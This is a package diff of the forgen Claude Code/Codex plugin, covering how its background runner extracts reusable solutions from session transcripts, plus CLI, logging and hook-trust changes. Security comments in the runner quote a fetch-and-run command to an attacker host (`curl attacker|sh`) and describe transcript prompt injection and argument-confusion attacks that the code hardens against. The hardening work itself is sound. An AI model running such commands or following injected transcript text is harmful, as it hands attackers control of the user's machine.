@wooojin/forgen 0.5.0 → 0.5.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.claude-plugin/plugin.json +1 -1
- package/CHANGELOG.md +167 -0
- package/README.ja.md +12 -8
- package/README.ko.md +12 -8
- package/README.md +1 -0
- package/README.zh.md +12 -8
- package/assets/shared/hook-registry.json +210 -22
- package/dist/core/auto-compound-runner.js +73 -14
- package/dist/core/changelog-cli.d.ts +4 -1
- package/dist/core/changelog-cli.js +8 -7
- package/dist/core/compound-sweep-cli.d.ts +4 -1
- package/dist/core/compound-sweep-cli.js +25 -5
- package/dist/core/doctor.js +29 -0
- package/dist/core/spawn.d.ts +26 -0
- package/dist/core/spawn.js +38 -3
- package/dist/engine/compound-loop.js +20 -1
- package/dist/hooks/context-guard.js +7 -3
- package/dist/hooks/hook-config.js +5 -0
- package/dist/hooks/hook-registry.d.ts +6 -1
- package/dist/hooks/hooks-generator.js +3 -0
- package/dist/hooks/session-end.d.ts +34 -0
- package/dist/hooks/session-end.js +100 -0
- package/dist/hooks/session-recovery.js +18 -1
- package/dist/hooks/shared/hook-timing.js +6 -1
- package/dist/host/codex-rules-context.d.ts +25 -0
- package/dist/host/codex-rules-context.js +62 -0
- package/dist/host/exec-host.d.ts +10 -0
- package/dist/host/exec-host.js +13 -2
- package/dist/host/install-codex.d.ts +58 -0
- package/dist/host/install-codex.js +291 -23
- package/dist/host/install-orchestrator.js +10 -0
- package/dist/host/invoke-agent.js +1 -0
- package/dist/host/parity-harness.js +7 -3
- package/dist/host/projection.d.ts +37 -3
- package/dist/host/projection.js +93 -42
- package/dist/store/evidence-store.js +121 -57
- package/dist/store/rule-store.d.ts +41 -0
- package/dist/store/rule-store.js +77 -2
- package/hooks/hooks.json +13 -1
- package/package.json +1 -1
- package/plugin.json +1 -1
- package/skills/architecture-decision/SKILL.md +18 -0
- package/skills/calibrate/SKILL.md +18 -0
- package/skills/code-review/SKILL.md +17 -0
- package/skills/compound/SKILL.md +17 -0
- package/skills/deep-interview/SKILL.md +7 -0
- package/skills/docker/SKILL.md +18 -0
- package/skills/forge-loop/SKILL.md +23 -0
- package/skills/learn/SKILL.md +15 -0
- package/skills/retro/SKILL.md +16 -0
- package/skills/ship/SKILL.md +18 -0
|
@@ -49,7 +49,10 @@ function execClaudeRetry(args, opts) {
|
|
|
49
49
|
const MAX_ATTEMPTS = 2;
|
|
50
50
|
for (let attempt = 1; attempt <= MAX_ATTEMPTS; attempt++) {
|
|
51
51
|
try {
|
|
52
|
-
return execFileSync('claude', args,
|
|
52
|
+
return execFileSync('claude', mod.withNestedRunClaudeArgs(args), {
|
|
53
|
+
...opts,
|
|
54
|
+
env: { ...process.env, ...(opts.env ?? {}), ...mod.NESTED_RUN_ENV },
|
|
55
|
+
});
|
|
53
56
|
}
|
|
54
57
|
catch (e) {
|
|
55
58
|
const msg = e instanceof Error ? e.message : String(e);
|
|
@@ -122,7 +125,10 @@ export async function execClaudeRetryAsync(args, opts) {
|
|
|
122
125
|
const MAX_ATTEMPTS = 2;
|
|
123
126
|
for (let attempt = 1; attempt <= MAX_ATTEMPTS; attempt++) {
|
|
124
127
|
try {
|
|
125
|
-
const { stdout } = await execFileAsync('claude', args,
|
|
128
|
+
const { stdout } = await execFileAsync('claude', mod.withNestedRunClaudeArgs(args), {
|
|
129
|
+
...opts,
|
|
130
|
+
env: { ...process.env, ...(opts.env ?? {}), ...mod.NESTED_RUN_ENV },
|
|
131
|
+
});
|
|
126
132
|
return typeof stdout === 'string' ? stdout : stdout.toString();
|
|
127
133
|
}
|
|
128
134
|
catch (e) {
|
|
@@ -359,31 +365,84 @@ try {
|
|
|
359
365
|
}
|
|
360
366
|
}
|
|
361
367
|
catch { /* ignore */ }
|
|
368
|
+
// 결함2 corrected fix (2026-08-19): 이전엔 모델에게 `Bash(forgen compound:*)` 도구를 주고
|
|
369
|
+
// forgen compound 를 "직접 실행"시켰으나, headless haiku 는 도구 호출이 근본적으로
|
|
370
|
+
// 불안정해(라이브 확증: 동일 조건에서 실행/미실행 1↔0 오락가락) 산출이 forgen 생애
|
|
371
|
+
// 통틀어 0건이었다. 이제 behavior 경로와 동일하게 — 모델은 재사용 솔루션을 텍스트로만
|
|
372
|
+
// 출력하고(안정적), 러너가 파싱해 forgen 을 직접 실행한다.
|
|
373
|
+
// 이점: (a) 모델에 Bash 도구를 아예 주지 않으므로 P1-S1 인젝션 표면 제거 — 모델 출력은
|
|
374
|
+
// 파싱·필터를 거쳐 execFileSync 의 *인자*로만 쓰이고 셸을 거치지 않아 임의 명령 실행 불가.
|
|
375
|
+
// (b) 도구 호출 신뢰성 문제 제거. (c) forgen 을 이 러너 node 의 형제 바이너리(절대경로)로
|
|
376
|
+
// 호출해 cron sparse PATH 에 forgen 이 없던 문제(라이브 확증)도 해소.
|
|
362
377
|
const solutionPrompt = `다음은 이전 Claude Code 세션의 대화 요약입니다.
|
|
363
|
-
미래 세션에서 재사용할 수 있는
|
|
378
|
+
미래 세션에서 재사용할 수 있는 패턴/해결책/의사결정을 추출해주세요.
|
|
379
|
+
각 항목을 정확히 아래 한 줄 형식으로만 출력하세요 (다른 설명 없이, 코드블록도 불필요):
|
|
380
|
+
forgen compound --solution "제목" "설명 (무엇 + 왜 + 어떻게 적용)"
|
|
364
381
|
|
|
365
|
-
|
|
366
|
-
-
|
|
367
|
-
- **설명**: (1) 무엇을 했는지 (2) 왜 그렇게 했는지 (3) 어떻게 적용하는지
|
|
368
|
-
|
|
369
|
-
형식: forgen compound --solution "제목" "설명 (why + how to apply)"
|
|
382
|
+
- 제목: 구체적이고 검색 가능한 이름 (예: "react-high-frequency-event-raf-throttle")
|
|
383
|
+
- 설명: (1) 무엇을 했는지 (2) 왜 그렇게 했는지 (3) 어떻게 적용하는지
|
|
370
384
|
추출할 것이 없으면 "추출할 패턴 없음"이라고만 답하세요.
|
|
371
385
|
최대 3개. 피상적인 관찰(예: "TypeScript를 사용함")은 제외. 기존 솔루션과 중복 금지.${existingList}
|
|
372
386
|
|
|
373
387
|
---
|
|
374
388
|
${sanitizedSummary.slice(0, 6000)}
|
|
375
389
|
---`;
|
|
376
|
-
|
|
377
|
-
// 악성 transcript(공급망 인젝션)가 filter를 우회해 `curl attacker|sh` 같은 명령을
|
|
378
|
-
// 피해자 권한으로 실행시킬 수 있었다. 이제 `Bash(forgen compound:*)`로 좁혀 Claude
|
|
379
|
-
// 가 compound 추출용 forgen CLI 호출만 가능하게 한다. filter-bypass 시에도 임의
|
|
380
|
-
// 명령 실행 차단.
|
|
390
|
+
let solutionOutput = '';
|
|
381
391
|
try {
|
|
382
|
-
extractViaHaiku(['-p', solutionPrompt, '--
|
|
392
|
+
solutionOutput = extractViaHaiku(['-p', solutionPrompt, '--model', COMPOUND_MODEL], { cwd, timeout: 90_000, encoding: 'utf-8' }) || '';
|
|
383
393
|
}
|
|
384
394
|
catch (e) {
|
|
385
395
|
process.stderr.write(`[forgen-auto-compound] solution extraction: ${e instanceof Error ? e.message : String(e)}\n`);
|
|
386
396
|
}
|
|
397
|
+
// 모델 출력에서 `--solution "제목" "설명"` 을 파싱해 forgen 을 직접 실행(결정론적).
|
|
398
|
+
// forgen 은 이 러너를 돌리는 node 의 형제 바이너리를 절대경로로 호출 — sparse PATH 의존 제거.
|
|
399
|
+
const nodeBinDir = path.dirname(process.execPath);
|
|
400
|
+
const forgenBin = fs.existsSync(path.join(nodeBinDir, 'forgen'))
|
|
401
|
+
? path.join(nodeBinDir, 'forgen')
|
|
402
|
+
: 'forgen';
|
|
403
|
+
const solutionArgRe = /--solution\s+"((?:[^"\\]|\\.)+)"\s+"((?:[^"\\]|\\.)+)"/g;
|
|
404
|
+
let match;
|
|
405
|
+
let extractedCount = 0;
|
|
406
|
+
// biome-ignore lint/suspicious/noAssignInExpressions: regex exec 루프 관용구
|
|
407
|
+
while ((match = solutionArgRe.exec(solutionOutput)) !== null && extractedCount < 3) {
|
|
408
|
+
const title = match[1].replace(/\\"/g, '"').trim();
|
|
409
|
+
const rawContent = match[2].replace(/\\"/g, '"').trim();
|
|
410
|
+
if (!title || rawContent.length < 20)
|
|
411
|
+
continue;
|
|
412
|
+
// 보안(argument confusion): title/content 는 untrusted 모델 출력이다. execFileSync
|
|
413
|
+
// 인자로 넘기므로 셸 인젝션은 없지만, '-' 로 시작하면 forgen 의 인자 파서가 이를
|
|
414
|
+
// 플래그로 오해석할 수 있다(예: 악성 title "--remove" → 삭제 분기). 정상 제목/설명은
|
|
415
|
+
// '-' 로 시작하지 않으므로 대시-선두 값은 스킵한다. (handleCompound 의 위치인자 파서가
|
|
416
|
+
// startsWith('--') 를 필터하는 것에 더해 러너에서 원천 차단.)
|
|
417
|
+
if (title.startsWith('-') || rawContent.startsWith('-')) {
|
|
418
|
+
process.stderr.write('[forgen-auto-compound] solution: dash-leading title/content, skipping (arg-confusion guard)\n');
|
|
419
|
+
continue;
|
|
420
|
+
}
|
|
421
|
+
// 모델 출력은 untrusted transcript 파생 — 저장 전 injection/exfil 필터(defense in depth).
|
|
422
|
+
if (containsPromptInjection(`${title} ${rawContent}`)) {
|
|
423
|
+
process.stderr.write('[forgen-auto-compound] solution: injection detected in LLM output, skipping\n');
|
|
424
|
+
continue;
|
|
425
|
+
}
|
|
426
|
+
const contentScan = filterSolutionContent(rawContent);
|
|
427
|
+
if (contentScan.verdict === 'block') {
|
|
428
|
+
process.stderr.write('[forgen-auto-compound] solution: content blocked by filter, skipping\n');
|
|
429
|
+
continue;
|
|
430
|
+
}
|
|
431
|
+
try {
|
|
432
|
+
// title/content 는 execFileSync 의 *인자*로만 전달 — 셸 미경유라 메타문자가 있어도
|
|
433
|
+
// 명령 인젝션 불가. FORGEN_HOME 등 env 는 그대로 상속되어 올바른 스토어에 기록된다.
|
|
434
|
+
execFileSync(forgenBin, ['compound', '--solution', title, contentScan.sanitized], {
|
|
435
|
+
cwd,
|
|
436
|
+
timeout: 20_000,
|
|
437
|
+
stdio: ['ignore', 'ignore', 'pipe'],
|
|
438
|
+
env: { ...process.env, PATH: `${nodeBinDir}${path.delimiter}${process.env.PATH ?? ''}` },
|
|
439
|
+
});
|
|
440
|
+
extractedCount++;
|
|
441
|
+
}
|
|
442
|
+
catch (e) {
|
|
443
|
+
process.stderr.write(`[forgen-auto-compound] solution write: ${e instanceof Error ? e.message : String(e)}\n`);
|
|
444
|
+
}
|
|
445
|
+
}
|
|
387
446
|
// Post-extraction quality validation: remove files that fail lightweight gates
|
|
388
447
|
const removedCount = validateSolutionFiles(solutionsBefore);
|
|
389
448
|
if (removedCount > 0) {
|
|
@@ -4,4 +4,7 @@
|
|
|
4
4
|
* Reads git log between the latest vX.Y.Z tag and HEAD, groups by
|
|
5
5
|
* conventional commit type, and outputs a ready-to-paste changelog.
|
|
6
6
|
*/
|
|
7
|
-
|
|
7
|
+
/** `opts.cwd`: git 저장소 위치 (기본 process.cwd()). 테스트 fixture 용. */
|
|
8
|
+
export declare function handleChangelog(opts?: {
|
|
9
|
+
cwd?: string;
|
|
10
|
+
}): Promise<void>;
|
|
@@ -14,23 +14,23 @@ const C = {
|
|
|
14
14
|
green: isTTY ? '\x1b[32m' : '',
|
|
15
15
|
yellow: isTTY ? '\x1b[33m' : '',
|
|
16
16
|
};
|
|
17
|
-
function getLatestTag() {
|
|
17
|
+
function getLatestTag(cwd) {
|
|
18
18
|
try {
|
|
19
19
|
return execFileSync('git', ['describe', '--tags', '--abbrev=0'], {
|
|
20
|
-
encoding: 'utf-8', timeout: 5000, stdio: ['pipe', 'pipe', 'pipe'],
|
|
20
|
+
encoding: 'utf-8', timeout: 5000, stdio: ['pipe', 'pipe', 'pipe'], cwd,
|
|
21
21
|
}).trim();
|
|
22
22
|
}
|
|
23
23
|
catch {
|
|
24
24
|
return null;
|
|
25
25
|
}
|
|
26
26
|
}
|
|
27
|
-
function getCommitsSince(tag) {
|
|
27
|
+
function getCommitsSince(tag, cwd) {
|
|
28
28
|
try {
|
|
29
29
|
const args = tag
|
|
30
30
|
? ['log', `${tag}..HEAD`, '--oneline', '--no-merges']
|
|
31
31
|
: ['log', '--oneline', '--no-merges', '-30'];
|
|
32
32
|
return execFileSync('git', args, {
|
|
33
|
-
encoding: 'utf-8', timeout: 10000, stdio: ['pipe', 'pipe', 'pipe'],
|
|
33
|
+
encoding: 'utf-8', timeout: 10000, stdio: ['pipe', 'pipe', 'pipe'], cwd,
|
|
34
34
|
}).trim().split('\n').filter(Boolean);
|
|
35
35
|
}
|
|
36
36
|
catch {
|
|
@@ -55,9 +55,10 @@ const TYPE_ORDER = {
|
|
|
55
55
|
chore: { label: 'Maintenance', order: 6 },
|
|
56
56
|
other: { label: 'Other', order: 7 },
|
|
57
57
|
};
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
const
|
|
58
|
+
/** `opts.cwd`: git 저장소 위치 (기본 process.cwd()). 테스트 fixture 용. */
|
|
59
|
+
export async function handleChangelog(opts = {}) {
|
|
60
|
+
const tag = getLatestTag(opts.cwd);
|
|
61
|
+
const rawCommits = getCommitsSince(tag, opts.cwd);
|
|
61
62
|
if (rawCommits.length === 0) {
|
|
62
63
|
console.log(`\n ${C.dim}No commits since ${tag ?? 'beginning'}.${C.reset}\n`);
|
|
63
64
|
return;
|
|
@@ -52,6 +52,9 @@ export interface CronOpResult {
|
|
|
52
52
|
export declare function installCron(): CronOpResult;
|
|
53
53
|
export declare function uninstallCron(): CronOpResult;
|
|
54
54
|
export declare function cronStatus(): CronOpResult;
|
|
55
|
-
/**
|
|
55
|
+
/**
|
|
56
|
+
* CLI: forgen compound sweep [--dry-run|--install-cron|--uninstall-cron|--cron-status]
|
|
57
|
+
* [--window-hours N] [--stale-hours M] [--prune-removed [--apply] [--retention-days N]]
|
|
58
|
+
*/
|
|
56
59
|
export declare function compoundSweepCli(args: string[]): void;
|
|
57
60
|
export {};
|
|
@@ -17,6 +17,7 @@ import { fileURLToPath } from 'node:url';
|
|
|
17
17
|
import { STATE_DIR } from './paths.js';
|
|
18
18
|
import { runAutoCompound } from './spawn.js';
|
|
19
19
|
import { createLogger } from './logger.js';
|
|
20
|
+
import { pruneRemovedRules } from '../store/rule-store.js';
|
|
20
21
|
const log = createLogger('compound-sweep');
|
|
21
22
|
export const DEFAULT_SWEEP_OPTS = {
|
|
22
23
|
windowMs: 24 * 60 * 60 * 1000,
|
|
@@ -317,8 +318,15 @@ export function cronStatus() {
|
|
|
317
318
|
return { ok: false, message: e.message };
|
|
318
319
|
}
|
|
319
320
|
}
|
|
320
|
-
/**
|
|
321
|
+
/**
|
|
322
|
+
* CLI: forgen compound sweep [--dry-run|--install-cron|--uninstall-cron|--cron-status]
|
|
323
|
+
* [--window-hours N] [--stale-hours M] [--prune-removed [--apply] [--retention-days N]]
|
|
324
|
+
*/
|
|
321
325
|
export function compoundSweepCli(args) {
|
|
326
|
+
const num = (flag) => {
|
|
327
|
+
const i = args.indexOf(flag);
|
|
328
|
+
return i >= 0 && args[i + 1] ? Number(args[i + 1]) : undefined;
|
|
329
|
+
};
|
|
322
330
|
// cron 관리 플래그 (상호배타 — 우선 처리)
|
|
323
331
|
if (args.includes('--install-cron')) {
|
|
324
332
|
const r = installCron();
|
|
@@ -333,11 +341,23 @@ export function compoundSweepCli(args) {
|
|
|
333
341
|
console.log(`[forgen compound sweep] cron: ${cronStatus().message}`);
|
|
334
342
|
return;
|
|
335
343
|
}
|
|
344
|
+
// (D) removed 상태 rule 파일 정리. `forgen compound prune` 전용 top-level 커맨드
|
|
345
|
+
// 대신 sweep 을 확장한 형태로 노출 — cli.ts 라우팅(현재 `compound sweep`만 위임)을
|
|
346
|
+
// 건드리지 않기 위한 선택. 기본 dry-run — 실제 삭제는 --apply 명시 시에만.
|
|
347
|
+
if (args.includes('--prune-removed')) {
|
|
348
|
+
const apply = args.includes('--apply');
|
|
349
|
+
const retentionDays = num('--retention-days');
|
|
350
|
+
const r = pruneRemovedRules({
|
|
351
|
+
apply,
|
|
352
|
+
...(retentionDays ? { retentionMs: retentionDays * 24 * 3600_000 } : {}),
|
|
353
|
+
});
|
|
354
|
+
console.log(`[forgen compound sweep --prune-removed] candidates=${r.candidates.length} ` +
|
|
355
|
+
(apply
|
|
356
|
+
? `deleted=${r.deleted.length}`
|
|
357
|
+
: `(dry-run — add --apply to delete)${r.candidates.length ? ` [${r.candidates.map((id) => id.slice(0, 8)).join(', ')}]` : ''}`));
|
|
358
|
+
return;
|
|
359
|
+
}
|
|
336
360
|
const dryRun = args.includes('--dry-run');
|
|
337
|
-
const num = (flag) => {
|
|
338
|
-
const i = args.indexOf(flag);
|
|
339
|
-
return i >= 0 && args[i + 1] ? Number(args[i + 1]) : undefined;
|
|
340
|
-
};
|
|
341
361
|
const wh = num('--window-hours');
|
|
342
362
|
const sh = num('--stale-hours');
|
|
343
363
|
const r = runCompoundSweep({
|
package/dist/core/doctor.js
CHANGED
|
@@ -52,6 +52,33 @@ function relativeTime(isoString) {
|
|
|
52
52
|
}
|
|
53
53
|
return `${diffDays}d ago`;
|
|
54
54
|
}
|
|
55
|
+
/** ADR-014 D4 — [Codex Hooks] 섹션: hooks.json forgen 엔트리의 Codex trust 기록 대조 */
|
|
56
|
+
async function renderCodexHookTrust() {
|
|
57
|
+
try {
|
|
58
|
+
const codexHome = process.env.CODEX_HOME ?? path.join(os.homedir(), '.codex');
|
|
59
|
+
const hooksPath = path.join(codexHome, 'hooks.json');
|
|
60
|
+
if (!fs.existsSync(hooksPath))
|
|
61
|
+
return; // Codex 미설치/미등록 — 섹션 생략
|
|
62
|
+
const { auditCodexHookTrust } = await import('../host/install-codex.js');
|
|
63
|
+
// pkgRoot: dist/core/doctor.js → 두 단계 위. 어차피 FORGEN_HOOK_SCRIPT_MARKER fallback 이 있어 정확도 비의존.
|
|
64
|
+
const pkgRoot = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '..', '..');
|
|
65
|
+
const t = auditCodexHookTrust({ hooksPath, configTomlPath: path.join(codexHome, 'config.toml'), pkgRoot });
|
|
66
|
+
console.log(' [Codex Hooks]');
|
|
67
|
+
if (t.total === 0) {
|
|
68
|
+
console.log(' △ hooks.json 에 forgen hook 없음 — forgen install codex');
|
|
69
|
+
}
|
|
70
|
+
else if (t.trusted === t.total) {
|
|
71
|
+
console.log(` ✓ ${t.trusted}/${t.total} forgen hooks trusted by Codex`);
|
|
72
|
+
}
|
|
73
|
+
else if (t.noStateRecorded) {
|
|
74
|
+
console.log(` △ ${t.total} forgen hooks registered, Codex trust 기록 없음 — codex 안에서 /hooks 로 승인 (미승인 훅은 skip 됨)`);
|
|
75
|
+
}
|
|
76
|
+
else {
|
|
77
|
+
console.log(` ✗ ${t.untrusted.length}/${t.total} forgen hooks untrusted (${t.untrusted.slice(0, 4).join(', ')}${t.untrusted.length > 4 ? ', …' : ''}) — codex 안에서 /hooks 로 승인`);
|
|
78
|
+
}
|
|
79
|
+
}
|
|
80
|
+
catch { /* fail-open */ }
|
|
81
|
+
}
|
|
55
82
|
/** [Codex Parity] 섹션 렌더링 — ~/.forgen/state/parity-result.json 신선도 검사 */
|
|
56
83
|
function renderCodexParity() {
|
|
57
84
|
console.log(' [Codex Parity]');
|
|
@@ -538,6 +565,8 @@ export async function runDoctor(opts = {}) {
|
|
|
538
565
|
console.log(' Unable to read host evidence data.');
|
|
539
566
|
}
|
|
540
567
|
console.log();
|
|
568
|
+
// [Codex Hooks] — ADR-014 D4 trust 감사
|
|
569
|
+
await renderCodexHookTrust();
|
|
541
570
|
// [Codex Parity] — parity-result.json 신선도 검사 (v0.4.2 패턴 확장)
|
|
542
571
|
renderCodexParity();
|
|
543
572
|
console.log();
|
package/dist/core/spawn.d.ts
CHANGED
|
@@ -1,5 +1,21 @@
|
|
|
1
1
|
import type { V1HarnessContext } from './harness.js';
|
|
2
2
|
import type { RuntimeHost } from './types.js';
|
|
3
|
+
/**
|
|
4
|
+
* 사용자 메시지 수 카운트 (streaming).
|
|
5
|
+
*
|
|
6
|
+
* Audit fix #8 (2026-04-21): 이전에는 `fs.readFileSync(transcript, 'utf-8')`로
|
|
7
|
+
* 파일 전체를 메모리에 올렸다. 수백 MB 규모 transcript에서는 heap spike가
|
|
8
|
+
* 발생했고, 카운트 외엔 내용이 필요 없으니 streaming line-by-line로 충분하다.
|
|
9
|
+
*/
|
|
10
|
+
/**
|
|
11
|
+
* 0.4.6 — claude/codex 양 schema 호환.
|
|
12
|
+
*
|
|
13
|
+
* Claude JSONL: {type: 'user' | 'queue-operation', ...}
|
|
14
|
+
* Codex JSONL: {type: 'response_item', payload: {role: 'user' | 'developer' | 'assistant', ...}}
|
|
15
|
+
*
|
|
16
|
+
* 단일 함수에서 둘 다 처리 — schema 자동 감지.
|
|
17
|
+
*/
|
|
18
|
+
export declare function countUserMessages(transcriptPath: string): Promise<number>;
|
|
3
19
|
/** runAutoCompound 결과 — sweep(무인 cron)이 실제 spawn 만 기록하도록 상태 반환. */
|
|
4
20
|
export type AutoCompoundStatus = 'spawned' | 'skipped-inflight' | 'skipped-dedup' | 'failed';
|
|
5
21
|
/**
|
|
@@ -22,6 +38,16 @@ export type AutoCompoundStatus = 'spawned' | 'skipped-inflight' | 'skipped-dedup
|
|
|
22
38
|
export declare function claimAutoCompoundInflight(sessionId: string, now?: number): boolean;
|
|
23
39
|
/** in-flight 슬롯 해제 (spawn 실패 시 재시도 가능하도록). */
|
|
24
40
|
export declare function releaseAutoCompoundInflight(sessionId: string): void;
|
|
41
|
+
/**
|
|
42
|
+
* ~/.forgen/state/auto-compound/<sessionId>.log — 세션별 러너 로그 경로.
|
|
43
|
+
*
|
|
44
|
+
* 결함2 관측성 fix (2026-08-18): 이전엔 detached spawn 을 `stdio: 'ignore'` 로
|
|
45
|
+
* 실행해 러너의 stdout/stderr(진단 메시지 포함)를 통째로 버렸다. 그 결과 solution
|
|
46
|
+
* extraction 이 98/98 sweep 에서 `extractedSolutions=0` 을 기록해도 원인을 알 방법이
|
|
47
|
+
* 없었다(완전 무음 실패). 이제 fd 를 파일로 열어 넘겨 러너의 모든 출력을 세션별
|
|
48
|
+
* 로그로 남긴다 — 다음 실패 모드를 디버그 가능하게 만드는 전제 조건.
|
|
49
|
+
*/
|
|
50
|
+
export declare function autoCompoundLogPath(sessionId: string): string;
|
|
25
51
|
export declare function runAutoCompound(cwd: string, transcriptPath: string, sessionId: string, promptCount?: number): AutoCompoundStatus;
|
|
26
52
|
/**
|
|
27
53
|
* Plan B-1: 세션 transcript 사후 스캔으로 rate-limit 감지.
|
package/dist/core/spawn.js
CHANGED
|
@@ -112,7 +112,7 @@ function findSessionTranscript(cwd, sessionStartMs, preSnapshot, runtime = 'clau
|
|
|
112
112
|
*
|
|
113
113
|
* 단일 함수에서 둘 다 처리 — schema 자동 감지.
|
|
114
114
|
*/
|
|
115
|
-
async function countUserMessages(transcriptPath) {
|
|
115
|
+
export async function countUserMessages(transcriptPath) {
|
|
116
116
|
const { createInterface } = await import('node:readline');
|
|
117
117
|
const stream = fs.createReadStream(transcriptPath, { encoding: 'utf-8' });
|
|
118
118
|
const rl = createInterface({ input: stream, crlfDelay: Infinity });
|
|
@@ -300,6 +300,18 @@ export function releaseAutoCompoundInflight(sessionId) {
|
|
|
300
300
|
/* noop */
|
|
301
301
|
}
|
|
302
302
|
}
|
|
303
|
+
/**
|
|
304
|
+
* ~/.forgen/state/auto-compound/<sessionId>.log — 세션별 러너 로그 경로.
|
|
305
|
+
*
|
|
306
|
+
* 결함2 관측성 fix (2026-08-18): 이전엔 detached spawn 을 `stdio: 'ignore'` 로
|
|
307
|
+
* 실행해 러너의 stdout/stderr(진단 메시지 포함)를 통째로 버렸다. 그 결과 solution
|
|
308
|
+
* extraction 이 98/98 sweep 에서 `extractedSolutions=0` 을 기록해도 원인을 알 방법이
|
|
309
|
+
* 없었다(완전 무음 실패). 이제 fd 를 파일로 열어 넘겨 러너의 모든 출력을 세션별
|
|
310
|
+
* 로그로 남긴다 — 다음 실패 모드를 디버그 가능하게 만드는 전제 조건.
|
|
311
|
+
*/
|
|
312
|
+
export function autoCompoundLogPath(sessionId) {
|
|
313
|
+
return path.join(STATE_DIR, 'auto-compound', `${sessionId.replace(/[^a-zA-Z0-9_-]/g, '_')}.log`);
|
|
314
|
+
}
|
|
303
315
|
export function runAutoCompound(cwd, transcriptPath, sessionId, promptCount = 0) {
|
|
304
316
|
const now = Date.now();
|
|
305
317
|
// 1. 완료 마커 cooldown (secondary, 단일슬롯 — 값싼 read 먼저).
|
|
@@ -322,17 +334,40 @@ export function runAutoCompound(cwd, transcriptPath, sessionId, promptCount = 0)
|
|
|
322
334
|
return 'skipped-inflight';
|
|
323
335
|
}
|
|
324
336
|
const runnerPath = path.join(path.dirname(fileURLToPath(import.meta.url)), 'auto-compound-runner.js');
|
|
337
|
+
// 로그 파일 fd 열기 — 실패(디스크 문제 등)해도 fail-open 으로 'ignore' 폴백.
|
|
338
|
+
const logPath = autoCompoundLogPath(sessionId);
|
|
339
|
+
let logFd;
|
|
325
340
|
try {
|
|
326
|
-
|
|
341
|
+
fs.mkdirSync(path.dirname(logPath), { recursive: true });
|
|
342
|
+
logFd = fs.openSync(logPath, 'a');
|
|
343
|
+
}
|
|
344
|
+
catch (e) {
|
|
345
|
+
log.debug('auto-compound 로그 파일 열기 실패 — stdio ignore로 폴백', e);
|
|
346
|
+
}
|
|
347
|
+
try {
|
|
348
|
+
// 결함2 corrected fix (2026-08-19): 리터럴 'node' 대신 process.execPath 로 spawn.
|
|
349
|
+
// 실 cron 은 절대 nvm node 경로로 sweep 를 돌리는데, 러너를 'node' 로 spawn 하면
|
|
350
|
+
// cron sparse PATH 의 /bin/node 로 해석돼 러너의 process.execPath 가 달라지고,
|
|
351
|
+
// 러너가 forgen(nvm 형제 바이너리)을 절대경로로 못 찾아 solution write 가 ENOENT 로
|
|
352
|
+
// 실패한다. execPath 를 물려주면 러너가 sweep 과 같은 node(=forgen 형제)를 상속한다.
|
|
353
|
+
const child = spawn(process.execPath, [runnerPath, cwd, transcriptPath, sessionId, String(promptCount)], {
|
|
327
354
|
cwd,
|
|
328
355
|
detached: true,
|
|
329
|
-
stdio: 'ignore',
|
|
356
|
+
stdio: logFd !== undefined ? ['ignore', logFd, logFd] : 'ignore',
|
|
330
357
|
});
|
|
331
358
|
child.unref();
|
|
359
|
+
if (logFd !== undefined)
|
|
360
|
+
fs.closeSync(logFd); // child가 dup — 부모 측 fd는 닫아도 안전
|
|
332
361
|
console.log('\n[forgen] 세션 분석을 백그라운드로 시작했습니다 (자동 compound) — 결과는 다음 세션 시작 시 반영됩니다.\n');
|
|
333
362
|
return 'spawned';
|
|
334
363
|
}
|
|
335
364
|
catch (e) {
|
|
365
|
+
if (logFd !== undefined) {
|
|
366
|
+
try {
|
|
367
|
+
fs.closeSync(logFd);
|
|
368
|
+
}
|
|
369
|
+
catch { /* noop */ }
|
|
370
|
+
}
|
|
336
371
|
log.debug('auto-compound 시작 실패', e);
|
|
337
372
|
releaseAutoCompoundInflight(sessionId); // spawn 실패 시 표식 제거 → 재시도 가능
|
|
338
373
|
return 'failed';
|
|
@@ -210,6 +210,17 @@ export async function handleCompound(args) {
|
|
|
210
210
|
`);
|
|
211
211
|
return;
|
|
212
212
|
}
|
|
213
|
+
// --- manual add (defense-in-depth, 2026-08-20) ---
|
|
214
|
+
// manual add(--solution/--rule/--convention/--pattern)를 아래 서브커맨드 dispatch 보다
|
|
215
|
+
// 먼저 처리한다. dispatch 는 args.includes('remove'|'clean-stale'|...) 로 전체 인자를
|
|
216
|
+
// 스캔하므로, add 의 위치인자(title/content)에 그런 토큰이 섞이면 삭제·정리 분기를
|
|
217
|
+
// 탈취할 수 있다(argument confusion — auto-compound 러너가 untrusted 모델 출력을 넘기던
|
|
218
|
+
// 경로에서 실증). type flag 는 add 전용이라 우선 처리해도 legit 동작 불변이며, 이렇게
|
|
219
|
+
// 하면 title/content 가 dispatch 스캔에 아예 닿지 않는다. (러너측 대시-선두 가드에 더한 2중 방어)
|
|
220
|
+
if (['--solution', '--rule', '--convention', '--pattern'].some(f => args.includes(f))) {
|
|
221
|
+
await handleManualAdd(args, cwd, scope);
|
|
222
|
+
return;
|
|
223
|
+
}
|
|
213
224
|
// --- export command ---
|
|
214
225
|
// 통짜 tar.gz export(플래그만, positional 없음) vs 이름 지정 패턴 export를
|
|
215
226
|
// positional 인자 유무로 구분한다. `compound export foo` = 패턴 export,
|
|
@@ -435,10 +446,18 @@ export async function handleCompound(args) {
|
|
|
435
446
|
console.log(' Unknown compound arguments. Run `forgen compound --help` for usage.\n');
|
|
436
447
|
return;
|
|
437
448
|
}
|
|
449
|
+
await handleManualAdd(args, cwd, scope);
|
|
450
|
+
}
|
|
451
|
+
/**
|
|
452
|
+
* 수동 인사이트 추가 (--solution/--rule/--convention/--pattern).
|
|
453
|
+
* handleCompound 에서 두 경로로 호출된다:
|
|
454
|
+
* (1) hoisted early-dispatch — type flag 가 있으면 서브커맨드 스캔 전에 즉시(arg-confusion 방어).
|
|
455
|
+
* (2) fallthrough — type flag 없이 다른 known flag(예: --to)만 있는 legacy 경로(동작 보존).
|
|
456
|
+
*/
|
|
457
|
+
async function handleManualAdd(args, cwd, scope) {
|
|
438
458
|
console.log('\n Compound Loop — Accumulating insights\n');
|
|
439
459
|
console.log(` Scope: ${scope.summary}`);
|
|
440
460
|
console.log();
|
|
441
|
-
// 수동 인사이트 추가
|
|
442
461
|
const type = args.includes('--solution') ? 'solution'
|
|
443
462
|
: args.includes('--rule') ? 'rule'
|
|
444
463
|
: args.includes('--convention') ? 'convention'
|
|
